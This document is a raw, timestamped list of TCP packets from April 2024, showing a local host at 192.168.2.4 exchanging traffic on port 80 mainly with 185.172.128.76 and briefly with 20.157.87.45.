Apr 23, 2024 09:38:15.077157021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.077189922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.077194929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.077227116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.077233076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.077275038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.124258995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.124301910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.124346972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.124356031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.124368906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.124394894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.124432087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.124447107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.124484062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.124521017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.124531031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.124558926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.124563932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.124609947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.278198957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.278244019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.278292894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.278327942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.278328896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.278330088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.278330088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.278377056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.278425932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.325509071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325547934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325582981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325618982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325654984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325690031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325725079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325738907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.325738907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.325738907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.325738907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.325738907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.325762033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325776100 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.325799942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.325850010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.325850010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.479347944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.479393005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.479429960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.479455948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.479465961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.479481936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.479504108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.479511976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.479547977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.526673079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526710987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526726961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.526757002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.526766062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526803017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526839018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526845932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.526875019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526887894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.526916027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526922941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.526952982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526957989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.526988029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.526993990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.527025938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.527030945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.527069092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.680423021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.680464983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.680500984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.680500984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.680531979 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.680538893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.680541992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.680608034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728033066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728070974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728087902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728121996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728157043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728192091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728225946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728229046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728249073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728265047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728301048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728307962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728338003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728363037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728375912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728394032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728411913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728420973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.728449106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.728492022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.881458044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.881505013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.881510019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.881550074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.881556988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.881598949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929445982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929486036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929511070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929543018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929548025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929580927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929589987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929620028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929627895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929657936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929665089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929694891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929702997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929733038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929740906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929769993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929775953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929806948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929812908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929842949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929852009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929879904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929893970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.929919004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.929928064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.930131912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.060556889 CEST	49739	80	192.168.2.4	20.157.87.45
Apr 23, 2024 09:38:16.082525015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.082566023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.082583904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.082602978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.082608938 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.082644939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.130819082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.130876064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.130884886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.130923986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.130959034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.130971909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.130995989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131001949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.131032944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131042957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.131068945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131114960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.131124020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131160975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131169081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.131196976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131198883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.131232977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131241083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.131272078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131275892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.131309986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.131323099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.131522894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.220587015 CEST	80	49739	20.157.87.45	192.168.2.4
Apr 23, 2024 09:38:16.220668077 CEST	49739	80	192.168.2.4	20.157.87.45
Apr 23, 2024 09:38:16.220928907 CEST	49739	80	192.168.2.4	20.157.87.45
Apr 23, 2024 09:38:16.283574104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.283616066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.283657074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.283682108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.283740044 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332370996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332408905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332436085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332446098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332463980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332484007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332520008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332530022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332556963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332565069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332593918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332602024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332628965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332631111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332664967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332668066 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332704067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332712889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332741022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332748890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332778931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332783937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332819939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.332833052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332868099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.332914114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.423738956 CEST	80	49739	20.157.87.45	192.168.2.4
Apr 23, 2024 09:38:16.423794031 CEST	49739	80	192.168.2.4	20.157.87.45
Apr 23, 2024 09:38:16.484740973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.484781027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.484843016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.533875942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.533916950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.533955097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.533991098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534025908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534061909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534065962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534065962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534102917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534111977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534111977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534127951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534127951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534141064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534178019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534207106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534213066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534235001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534248114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534302950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534302950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534323931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534354925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534389973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534392118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534423113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534429073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.534450054 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.534482956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.584837914 CEST	80	49739	20.157.87.45	192.168.2.4
Apr 23, 2024 09:38:16.629878044 CEST	80	49739	20.157.87.45	192.168.2.4
Apr 23, 2024 09:38:16.629930973 CEST	80	49739	20.157.87.45	192.168.2.4
Apr 23, 2024 09:38:16.630117893 CEST	49739	80	192.168.2.4	20.157.87.45
Apr 23, 2024 09:38:16.631052017 CEST	49739	80	192.168.2.4	20.157.87.45
Apr 23, 2024 09:38:16.685832024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.685874939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.685909986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.685950994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735344887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735383034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735399008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735419989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735424042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735457897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735467911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735496044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735507011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735532045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735543013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735568047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735604048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735615969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735649109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735652924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735687017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735692978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735723972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735740900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735760927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735793114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735799074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735833883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735852003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735869884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735905886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.735915899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.735960960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.790851116 CEST	80	49739	20.157.87.45	192.168.2.4
Apr 23, 2024 09:38:16.886845112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.886899948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.936811924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.936852932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.936892033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.936928988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.936964989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937000990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937053919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937072992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937072992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937072992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937072992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937091112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937128067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937138081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937165976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937206030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937213898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937249899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937284946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937294960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937320948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937345982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937355995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937359095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937395096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937412024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:16.937433004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:16.937478065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.087852001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.087913036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.087925911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.087985992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.138551950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138612986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138649940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138686895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138720989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138756037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138767004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.138767004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.138767004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.138767958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.138792992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138847113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138884068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138921022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.138969898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.139005899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.139031887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.139033079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.139043093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.139079094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.139087915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.139087915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.139117002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.139152050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.139170885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.139189005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.139197111 CEST	49733	80	192.168.2.4	185.172.128.76
